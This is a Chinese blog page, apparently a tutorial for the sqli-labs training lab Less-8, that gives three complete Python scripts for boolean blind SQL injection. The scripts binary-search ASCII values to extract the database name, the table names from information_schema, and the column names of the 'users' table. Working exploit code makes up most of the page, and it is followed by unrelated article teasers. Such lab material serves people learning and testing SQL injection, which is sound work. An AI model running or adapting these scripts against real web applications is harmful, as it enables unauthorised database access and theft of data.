当前位置: 首页 > news >正文

less-8 boolen盲注,时间盲注 函数补全

获取当前数据库名

import requestsdef inject_database(url):name=''max_length=20  # 假设数据库名称最大长度为20# ASCII范围:数字、字母、下划线(_)low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}for i in range(1, max_length + 1):low_val=32  # 起始为空格的ASCII码high_val=122  # 到z的ASCII码# 执行二分查找来找到每个字符while low_val < high_val:middle_val=(low_val + high_val) // 2payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功if 'You are in' in r.text:low_val=middle_val + 1else:high_val=middle_val# 获取字符并更新数据库名if low_val > 32:  # 跳过空格和其他不可见字符char=chr(low_val)name+=charprint(f"Current database name: {name}")# 重置low_val=32high_val=122print(f"Final database name: {name}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"inject_database(url)

获取数据库表

import requestsdef inject_table_names(url, database_name):table_names=[]  # 用于存储所有表名max_length=20  # 假设每个表名的最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取数据库中所有表的个数# 查询所有表:我们假设表名的个数不超过100num_tables=100for table_index in range(num_tables):table_name=''for i in range(1, max_length + 1):low=min(allowed_chars)  # 最小值:'0',ASCII 48high=max(allowed_chars)  # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前表的名字payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars:  # 确保是有效字符table_name+=chr(middle)# 每次获取一个字符后打印当前的表名print(f"Current table name: {table_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if table_name:  # 如果当前表名非空,则保存它table_names.append(table_name)# 如果注入出了多个表,可以停止if len(table_names) >= 5:  # 假设只注入前五个表名breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称inject_table_names(url, database_name)

获取表的列

import requestsdef inject_column_names(url, database_name, table_name):column_names=[]  # 用于存储所有列名max_length=20  # 假设列名最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取表的所有列的个数num_columns=100  # 假设该表最多有100列for column_index in range(num_columns):column_name=''for i in range(1, max_length + 1):low=min(allowed_chars)  # 最小值:'0',ASCII 48high=max(allowed_chars)  # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前列的名字payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars:  # 确保是有效字符column_name+=chr(middle)# 每次获取一个字符后打印当前的列名print(f"Current column name: {column_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2# 检查是否是有效的列名if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名column_names.append(column_name)# 如果注入出了多个列,可以停止if len(column_names) >= 5:  # 假设只注入前五个列名break# 输出最终的列名print(f"Final column names: {column_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称table_name="users"  # 目标表名inject_column_names(url, database_name, table_name)

相关文章:

less-8 boolen盲注,时间盲注 函数补全

获取当前数据库名 import requestsdef inject_database(url):namemax_length20 # 假设数据库名称最大长度为20# ASCII范围&#xff1a;数字、字母、下划线&#xff08;_&#xff09;low{a: 97, z: 122, A: 65, Z: 90, 0: 48, 9: 57, _: 95}high{97: a, 122: z, 65: A, 90: Z,…...

[NKU]C++基础课(五)补充:结构体

【3.3】C结构体介绍_哔哩哔哩_bilibili 结构体 最厉害的学生 现有N名同学参加了期末考试&#xff0c;并且获得了每名同学的信息: 1 姓名(不超过8个字符的仅有英文小写字母的字符串) 2 语文、数学、英语成绩(均为不超过150的自然数)。 3 总分最高的学生就是最厉害的。 请输…...

亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!

作者&#xff1a;程序员 Hollis 之前介绍过在IDEA中使用DeepSeek的方案&#xff0c;但是很多人表示还是用的不够爽&#xff0c;比如用CodeChat的方案&#xff0c;只支持V3版本&#xff0c;不支持带推理的R1。想要配置R1的话有特别的麻烦。 那么&#xff0c;今天&#xff0c;给…...

springcloud整合seata

1、前置安装与了解&#xff1a; 1、nacos的安装&#xff1a;docker安装nacos并挂载 2、seata的安装&#xff1a;docker安装seata并挂载&#xff0c;同时注册到nacos 3、spring-boot版本为2.6.12&#xff0c;spring-cloud-alibaba版本为2021.0.4.0&#xff0c;spring-cloud版本…...

Html5学习教程,从入门到精通,HTML5 简介语法知识点及案例代码(1)

HTML5 简介 HTML5 是最新的 HTML 标准&#xff0c;它引入了许多新特性&#xff0c;使网页开发更加强大和灵活。以下是一些关键的 HTML5 语法知识点&#xff1a; 1. 文档类型声明 (DOCTYPE) HTML5 的文档类型声明非常简单&#xff1a; <!DOCTYPE html>2. 字符编码 HT…...

Django加bootstrap实现上传文件含有进度条

1. 项目结构 myproject/ ├── myproject/ │ ├── settings.py │ ├── urls.py │ └── ... ├── myapp/ │ ├── templates/ │ │ └── upload.html │ ├── views.py │ ├── urls.py │ └── ... └── media/ # 手动创…...

八大排序算法(2)交换排序-冒泡排序 和 快速排序

快速排序&#xff08;Quick Sort&#xff09; 和 冒泡排序&#xff08;Bubble Sort&#xff09; 都是常见的交换排序算法&#xff0c;它们的核心思想都是通过交换元素来实现排序。但是&#xff0c;它们的工作原理和性能差异非常大。下面我们来详细对比这两种排序算法&#xff1…...

Python的那些事第二十三篇:Express(Node.js)与 Python:一场跨语言的浪漫邂逅

摘要 在当今的编程世界里,Node.js 和 Python 像是两个性格迥异的超级英雄,一个以速度和灵活性著称,另一个则以强大和优雅闻名。本文将探讨如何通过 Express 框架将 Node.js 和 Python 结合起来,打造出一个高效、有趣的 Web 应用。我们将通过一系列幽默风趣的实例和表格,展…...

STM32MP157A单片机移植Linux驱动

在stm32mp157a单片机移植Linux操作系统&#xff0c;并移植内核驱动&#xff0c;在应用程序中使用3个线程&#xff0c;分别实现控制单片机上3个led流水灯的功能、蜂鸣器控制的功能、风扇控制的功能。 需求整理&#xff1a; 1.驱动程序-->led1.c&#xff0c;led2.c&#xff…...

Qt程序退出相关资源释放问题

目录 问题背景&#xff1a; aboutToQuit 代码举例 closeEvent事件 代码举例 程序退出方式 quit() exit(int returnCode 0) close() 问题背景&#xff1a; 实际项目中程序退出前往往需要及进行一些资源释放、配置保存、线程中断等操作&#xff0c;避免资源浪费&#xff…...

【大学生职业规划大赛备赛PPT资料PDF | 免费共享】

自取链接&#xff1a; 链接&#xff1a;https://pan.quark.cn/s/4fa45515325e &#x1f4e2; 同学&#xff0c;你是不是正在为职业规划大赛发愁&#xff1f; 想展示独特思路却不知如何下手&#xff1f; 想用专业模板却找不到资源&#xff1f; 别担心&#xff01;我整理了全网…...

win32汇编环境,对话框中使用菜单示例一

;运行效果 ;win32汇编环境,对话框中使用菜单示例一 ;最基本的应用&#xff0c;即添加菜单及点击后响应的操作方法 ;直接抄进RadAsm可编译运行。重要部分加备注。 ;下面为asm文件 ;>>>>>>>>>>>>>>>>>>>>>>&g…...

AutoDock CrankPep or ADCP进行蛋白质多肽对接

需求描述 使用AutoDock CrankPep or ADCP进行蛋白质多肽对接 硬件及系统配置 自用电脑型号如下&#xff1a; 电脑&#xff1a;Precision Tower 7810 (Dell Inc.) CPU &#xff1a; Intel Xeon CPU E5-2686 v4 2.30GHz GPU&#xff1a; NVIDIA GeForce GTX 1070 Linux版本&a…...

高压直流熔断器研究

1.1 定义与作用 高压直流熔断器是一种用于直流电路的过电流保护装置&#xff0c;其主要作用是在电路中检测到过载电流或短路电流时&#xff0c;迅速切断电路&#xff0c;以防止电力设备受损或发生火灾等事故。根据 ISO-8820 和 QC/T420-2004 等标准的定义&#xff0c;熔断器是…...

微信小程序(uni)+蓝牙连接+Xprint打印机实现打印功能

1.蓝牙列表实现&#xff0c;蓝牙设备展示&#xff0c;蓝牙连接 <template><view class"container"><view class"container_top"><view class"l">设备名称</view><view class"r">{{state.phoneNam…...

使用 Docker 部署 Flask 应用

使用 Docker 部署 Flask 应用 一、引言 在现代软件开发中,应用的部署和环境管理是至关重要的环节。传统的部署方式常常会遇到 “在我机器上能运行,在你机器上不行” 的问题,而 Docker 的出现很好地解决了这个痛点。Docker 是一个用于开发、部署和运行应用程序的开放平台,…...

深入浅出GraphQL:现代API设计的未来

文章目录 一、引言二、什么是GraphQL&#xff1f;三、GraphQL的优势3.1 精确获取数据3.2 强类型系统3.3 单一端点3.4 实时数据 四、实际应用4.1 定义Schema4.2 实现解析器4.3 启动GraphQL服务器 五、结论 一、引言 在当今的 Web 开发中&#xff0c;API&#xff08;应用程序编程…...

深入理解Zookeeper:分布式系统的协调者

引言 在现代分布式系统中&#xff0c;协调和管理多个节点之间的状态和行为是一个复杂且关键的任务。Zookeeper作为一个分布式协调服务&#xff0c;为开发者提供了一种高效、可靠的方式来处理分布式系统中的一致性问题。本文将介绍Zookeeper的基本概念、使用场景以及如何通过示…...

python绘图之回归拟合图

回归拟合图在数据分析中具有重要作用&#xff0c;它不仅可以帮助我们理解变量之间的关系&#xff0c;还可以评估模型的拟合效果、进行预测和推断、发现异常值&#xff0c;以及用于模型比较和结果展示。 import pandas as pd import seaborn as sns import matplotlib.pyplot as…...

C语言学习笔记(第二部份)

说明&#xff1a;由于所有内容放在一个md文件中会非常卡顿&#xff0c;本文件将接续C.md文件的第二部分 结构体 结构是一些值的集合&#xff0c;这些值称为成员变量。结构的每个成员可以是不同类型的变量。 结构体的成员可以是标量&#xff0c;数组&#xff0c;指针&#xff0c…...

【Oracle APEX开发小技巧12】

有如下需求&#xff1a; 有一个问题反馈页面&#xff0c;要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据&#xff0c;方便管理员及时处理反馈。 我的方法&#xff1a;直接将逻辑写在SQL中&#xff0c;这样可以直接在页面展示 完整代码&#xff1a; SELECTSF.FE…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API&#xff0c;查询的是单条数据&#xff0c;比如根据主键ID查询用户信息&#xff0c;sql如下&#xff1a; select id, name, age from user where id #{id}API默认返回的数据格式是多条的&#xff0c;如下&#xff1a; {&qu…...

爬虫基础学习day2

# 爬虫设计领域 工商&#xff1a;企查查、天眼查短视频&#xff1a;抖音、快手、西瓜 ---> 飞瓜电商&#xff1a;京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空&#xff1a;抓取所有航空公司价格 ---> 去哪儿自媒体&#xff1a;采集自媒体数据进…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信

文章目录 Linux C语言网络编程详细入门教程&#xff1a;如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket&#xff08;服务端和客户端都要&#xff09;2. 绑定本地地址和端口&#x…...

【Linux】自动化构建-Make/Makefile

前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具&#xff1a;make/makfile 1.背景 在一个工程中源文件不计其数&#xff0c;其按类型、功能、模块分别放在若干个目录中&#xff0c;mak…...

在树莓派上添加音频输入设备的几种方法

在树莓派上添加音频输入设备可以通过以下步骤完成&#xff0c;具体方法取决于设备类型&#xff08;如USB麦克风、3.5mm接口麦克风或HDMI音频输入&#xff09;。以下是详细指南&#xff1a; 1. 连接音频输入设备 USB麦克风/声卡&#xff1a;直接插入树莓派的USB接口。3.5mm麦克…...

nnUNet V2修改网络——暴力替换网络为UNet++

更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...